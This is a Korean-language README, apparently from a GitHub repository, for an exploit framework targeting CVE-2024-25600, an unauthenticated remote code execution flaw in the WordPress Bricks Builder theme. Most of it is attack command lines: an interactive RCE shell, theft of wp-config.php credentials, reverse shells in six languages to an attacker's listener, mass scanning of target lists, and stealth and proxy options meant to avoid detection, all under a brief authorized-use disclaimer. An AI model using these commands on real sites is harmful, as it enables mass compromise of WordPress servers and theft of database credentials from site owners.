
CVE-2024-25600 - WordPress Bricks Builder 테마에 대한 인증되지 않은 RCE 익스플로잇. 대화형 셸, 리버스 셸, 파일 업로드/다운로드, 비동기 스캐닝, 스텔스 모드, 프록시 지원 및 다중 스레드 취약점 스캐닝을 갖춘 고급 악용 프레임워크. 승인된 보안 테스트 전용입니다.
CVE-2024-25600에 대한 승인된 보안 평가 도구
저자: Sudeepa Wanigarathna · 도구: BricksRCE 익스플로이러 v1.0
메인 스크립트: cve-2024-25600.py
[!IMPORTANT] 승인된 용도로만 사용하십시오. 이 도구는 보안 연구, 교육, 그리고 귀하가 소유하거나 명시적 서면 허가를 받은 시스템에 대한 테스트를 위한 것입니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 저자는 오용에 대해 어떠한 책임도 지지 않습니다.
CVE-2024-25600은 WordPress Bricks Builder 테마에서 발견된 중대한, 인증되지 않은 원격 코드 실행 취약점입니다. render_element REST 엔드포인트에서 사용자 제어 입력을 부적절하게 처리하여 인증되지 않은 공격자가 영향을 받는 설치 환경에서 임의의 PHP/시스템 명령을 실행할 수 있습니다.
BricksRCE 익스플로이러 (cve-2024-25600.py)는 승인된 보안 전문가를 위한 완전한 기능의 Python 평가 도구로, 다음을 수행할 수 있습니다:
| 속성 | 값 |
|---|---|
| CVE ID | CVE-2024-25600 |
| CVSS | 9.8 (심각) |
| 공격 벡터 | 네트워크 — 인증되지 않음 |
| 영향 | 전체 원격 코드 실행, 기밀성/무결성/가용성 손상 |
| 영향을 받는 제품 | WordPress Bricks Builder 테마 |
| 영향을 받는 버전 | Bricks ≤ 1.9.6 (**1.9.6.1+**에서 패치됨) |
| 취약점 유형 | 인증되지 않은 원격 코드 실행 |
| CWE | CWE-94 (부적절한 코드 생성 제어) |
| 엔드포인트 | 메서드 |
|---|---|
/wp-json/bricks/v1/render_element | POST |
/?rest_route=/bricks/v1/render_element | POST |
render_element 요청 제출| 기능 | 설명 |
|---|---|
| 취약점 탐지 | 제어된 마커 기반 프로브를 통해 RCE 확인 |
| Nonce 추출 | 다양한 방법(nonce 스크립트, 페이지 소스, 메타, REST)을 통한 nonce 발견 |
| 버전 탐지 | CSS/readme/REST에서 Bricks Builder 버전 식별 |
| 대화형 셸 | 기록, 자동 완성 및 파일 전송 기능을 갖춘 완전한 REPL |
| 단일 명령 모드 | 하나의 명령 실행 후 종료 (스크립팅에 적합) |
| 리버스 셸 도우미 | bash/nc/Python/PHP/Perl/Ruby 리버스 셸 생성 |
| wp-config 추출 | wp-config.php를 찾아 읽기 시도 |
| 대량 스캔 | URL 목록에서 비동기 또는 스레드 방식의 다중 대상 스캔 |
| 기능 | 설명 |
|---|---|
| 속도 제한 | 요청 간 구성 가능한 지연 |
| 재시도 로직 | 시간 초과 및 연결 오류 시 지수 백오프 |
| User-Agent 회전 | 요청당 임의의 브라우저 지문 사용 |
| 스텔스 모드 | 무작위화된 Accept-Language/Accept-Encoding 헤더 |
| 프록시 지원 | HTTP, HTTPS, SOCKS5/SOCKS5h |
| 이중 엔드포인트 | wp-json, rest_route 또는 둘 다 선호 |
| 강제 모드 | 사전 검사 건너뛰고 직접 공격 시도 |
| 풍부한 CLI | Rich를 통한 진행 표시줄, 테이블 및 색상 패널 |
| 기능 | 설명 |
|---|---|
| JSON/TXT 내보내기 | 스캔 결과 및 취약한 대상 저장 |
| 명령 기록 | 실행된 명령의 선택적 로깅 |
| 파일 로깅 | 지속적인 bricks_rce.log 및 사용자 지정 로그 경로 |
pipgit clone https://github.com/CerberusMrXi/WP-Bricks-Exploit-CVE-2024-25600.git
cd WP-Bricks-Exploit-CVE-2024-25600
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 cve-2024-25600.py --help
requests>=2.31.0
aiohttp>=3.9.0
beautifulsoup4>=4.12.0
lxml>=4.9.0
prompt-toolkit>=3.0.0
rich>=13.7.0
pysocks>=1.7.0 # optional — SOCKS5 proxy support
https://target.example를 실습용 또는 승인된 대상으로만 교체하십시오.
# 대화형 셸
python3 cve-2024-25600.py -u https://target.example
# 단일 명령
python3 cve-2024-25600.py -u https://target.example --cmd "id"
# 대량 스캔
python3 cve-2024-25600.py -f targets.txt -t 20 -o results.json
# 버전 탐지
python3 cve-2024-25600.py -u https://target.example --detect-version
# Burp 프록시를 통한 스캔
python3 cve-2024-25600.py -u https://target.example --proxy http://127.0.0.1:8080 -v
모든 예제는 메인 스크립트 **
cve-2024-25600.py**를 사용합니다.
python3 cve-2024-25600.py --help
대상이 취약한 것으로 확인된 후 대화형 RCE 셸을 엽니다.
python3 cve-2024-25600.py -u https://target.example
워크플로:
--force가 아닌 경우)python3 cve-2024-25600.py -u https://target.example --cmd "whoami"
명령 출력을 파일에 저장:
python3 cve-2024-25600.py -u https://target.example --cmd "id" --save-output
# 기본 PHP 예외 기반 페이로드
python3 cve-2024-25600.py -u https://target.example --cmd "uname -a" --payload php
# system() 기반 페이로드
python3 cve-2024-25600.py -u https://target.example --cmd "uname -a" --payload system
python3 cve-2024-25600.py -u https://target.example --detect-version
명령과 결합:
python3 cve-2024-25600.py -u https://target.example --detect-version --cmd "id"
python3 cve-2024-25600.py -u https://target.example --extract-wp-config
성공 시 wp-config_<target>.txt로 저장됩니다.
# 터미널 1 — 리스너
nc -lvnp 4444
# 터미널 2 — bash 리버스 셸
python3 cve-2024-25600.py -u https://target.example \
--reverse-shell bash \
--lhost 10.0.0.5 \
--lport 4444
지원되는 모든 리버스 셸 유형:
python3 cve-2024-25600.py -u https://target.example --reverse-shell bash --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell nc --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell python --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell php --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell perl --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell ruby --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --force --cmd "uname -a"
# targets.txt — 한 줄에 하나의 URL
python3 cve-2024-25600.py -f targets.txt
스레드, 지연, 스텔스 및 JSON 출력과 함께:
python3 cve-2024-25600.py -f targets.txt \
-t 15 \
--delay 0.5 \
--stealth \
-o vulnerable.json
async 대신 동기(스레드 풀) 스캔:
python3 cve-2024-25600.py -f targets.txt --sync -t 10 -o results.txt
조용한 대량 스캔:
python3 cve-2024-25600.py -f targets.txt -q -o results.json
# 두 엔드포인트 모두 (기본값)
python3 cve-2024-25600.py -u https://target.example --endpoint both
# /wp-json/bricks/v1/render_element만
python3 cve-2024-25600.py -u https://target.example --endpoint json
# /?rest_route=/bricks/v1/render_element만
python3 cve-2024-25600.py -u https://target.example --endpoint rest_route
python3 cve-2024-25600.py -u https://target.example \
--stealth \
--delay 1.0 \
--max-retries 5 \
--timeout 20